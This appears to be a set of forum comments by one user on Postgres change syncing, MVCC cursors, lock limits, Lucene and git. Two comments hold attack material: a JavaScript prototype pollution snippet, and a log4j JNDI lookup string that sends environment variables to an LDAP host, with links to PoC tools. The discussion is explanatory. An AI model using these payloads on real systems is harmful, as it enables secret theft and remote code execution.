brasetvik

I've been working on a suite of skills and a tiny MCP (also SQLite + SQLite-vec based) where the focus is on making it easy to produce "atoms" from quick brain dumps.

The chunking problem is "bypassed" by declaring each section a chunk, and having the LLMs rewrite drafts to sections that chunk well. That means lots of redundancy, and no "As explained above".

The intended reader isn't a human, but rather agents that generate human-friendlier prose, for different target audiences. By assuming the reader is an "expert", the idea is that it's much cheaper to mass-produce reviewed "atoms".

Itching to try that workflow with Atomic or Tolaria.

I'm not at all affiliated, just a happy consumer of their material.

I've worked on something in the same space, with a focus on reliable but flexible synchronization to many consumers, where logical replication gets impractical.

I have a mind to do a proper writeup, but at least there is code at https://github.com/cognitedata/txid-syncing (MIT-licensed) and a presentation at https://vimeo.com/747697698

The README mentions …

> A long-running transaction in the same database will effectively "pause" all event handlers.

… as the approach is based on the xmin-horizon.

My linked code works with involving the MVCC snapshot's xip_list as well, to avoid this gotcha.

Also, note that when doing a logical restore of a database, you're working with different physical txids, which complicates recovery. (So my approach relies on offsetting the txid and making sure the offset is properly maintained)

https://medium.com/cognite/postgres-can-do-that-f221a8046e

The memory space reserved for locks is finite, so if you were to have workers claim too many queue items simultaneously, you might get "out of memory for locks" errors all over the place.

> Both advisory locks and regular locks are stored in a shared memory pool whose size is defined by the configuration variables max_locks_per_transaction and max_connections. Care must be taken not to exhaust this memory or the server will be unable to grant any locks at all. This imposes an upper limit on the number of advisory locks grantable by the server, typically in the tens to hundreds of thousands depending on how the server is configured.

– https://www.postgresql.org/docs/current/explicit-locking.htm...

Deep merging two JSON parsed objects is innocuous enough everywhere else that most don’t think twice about doing it. Lots of widely used libraries that provide deep merging utilities have had security vulnerabilities because of this.

I guess you could argue that the wat is that objects coming out of JSON.parse don’t have null as its prototype.

  >> JSON.parse("{}")["__proto__"]["A"] = "T"
  "T"
  >> W = {}
  Object {  }
  >> W.A
  "T"

Java has its “gadget chain” class of vulnerabilities, where the presence of certain jars can turn object deserialisation into RCEs. I’d argue that Javascript has “pollution gadgets”.

Some years ago I struggled making lodash – which almost any non-trivially sized Javascript project has at least a transitive dependency on (possibly multiple versions of) – fix its “gadget” in its template function. It’s since been patched, and the conversation unfortunately deleted - https://github.com/lodash/lodash/pull/4518

Here’s two real world examples of turning a prototype pollution into an RCE: https://hackerone.com/reports/852613 and https://hackerone.com/reports/861744

(If you’re unfamiliar with prototype pollution: This is possibly a security bug in Javascript: `obj[a][b] = c` if a user controls a, b and c.)

Geometry nodes, part of «everything Nodes», is pretty interesting: https://youtu.be/kMDB7c0ZiKA

- https://blog.mikemccandless.com/2011/03/lucenes-fuzzyquery-i... - https://www.youtube.com/watch?v=4AbcvHKX8Ow

(Levenshtein distances are used as a measure between fuzzy/misspelled matches, and was ironically misspelled initially - https://lucene.apache.org/core/7_4_0/suggest/org/apache/luce...)

https://jwiegley.github.io/git-from-the-bottom-up/

git's the kind of tool where understanding how your commands operate on the underlying data structures will probably make it a lot easier to use efficiently. (And they're beautifully simple despite how powerful and flexible they are)

As a tool you might be using for hours per week for a few more decades, it's worth the investment going beyond the "in x minutes". I tend to provide both to juniors.

Obligatory: https://xkcd.com/1597/

What happens if two transactions commit out of order? tx1 with a lower timestamp commits after tx2 with a higher timestamp has committed - and your client just saw tx2's timestamp.

Or if you have ≥$maxCount number of events changed the same exact timestamp?

If you used prepared statements, `plan_cache_mode` (since Postgres >=12) can be configured.

It defaults to auto, which will generate a generic plan after 5 (iirc) executions.

If set to `force_generic_plan`, it'll make a generic plan right away. If set to `force_custom_plan`, it'll always do planning. The latter can be useful for queries where the parameters of the prepared statement can have very different selectivities.

My point was that even if you have a single non-scaleout database with a single time source, a sequence or a timestamp or a combination of both isn't as reliable a sequencer as you might think, unless you have at most one writer.

Thus, I think a "standard" should encourage a cursor concept that can use something that may reliably provide _all_ changes. If you have a single writer, you have a pretty easy job implementing that, as a plain sequence would work. (A timestamp could still break on clock adjustments, though)

This pertains to the "data replication" part of the listed goals, where getting everything is more important than in e.g. a social media news feed style thing where chronological order may be tenable - or less consequential if an item is missed.

Having worked in this problem space a bit recently, I find this part a bit too optimistic:

> The event.id is used as lastEventId to scroll through further events. This means that events need to be strongly ordered to retrieve subsequent events.

The example relies on time-ordered UUIDv6 and mentions time sync as a gotcha. This should work well if you only have a single writer.

Even with perfectly synced clocks, anything that lets you do _concurrent_ writes can still commit out of order, though.

Consider two transactions in a single-node-and-trivially-clock-synced Postgres, for example. If the first transaction that gets the lower timestamp commits after a second transaction that gets a higher timestamp, the second and higher timestamp might've been retrieved by a consumer already (it committed, so it's visible after all), and now you've missed writes. This is also (at least for Postgres, but I guess also in general) true for sequences.

The approach I'm currently pursuing involves having an opaque cursor that encodes enough of the MVCC information (i.e. Postgres' txid_current and xip_list) to be able to catch those situations. For a client, the cursor is opaque and they can't see the internals. For the server side, it's quite implementation specific, however. It still has the nice property that clients keep track on where they are, without the server keeping track of where the clients are, which is desirable if the downstream client can roll back e.g. due to recovery/restore from backup)

A base64-encoded (possibly encrypted) cursor can wrap whatever implementation specifics are needed and hide them from the client. That implementation could of course be a simple event id if the writing side is strictly serial.

No relation to them, just a happy customer.

Recent versions were still susceptible to e.g. exfiltration of env vars, which may often contain secrets.

${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}

I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient.

While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.

I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload.

See also:

- https://github.com/tangxiaofeng7/apache-log4j-poc

- https://github.com/mbechler/marshalsec

- https://github.com/veracode-research/rogue-jndi

Minecraft servers were being actively exploited according to various tweets.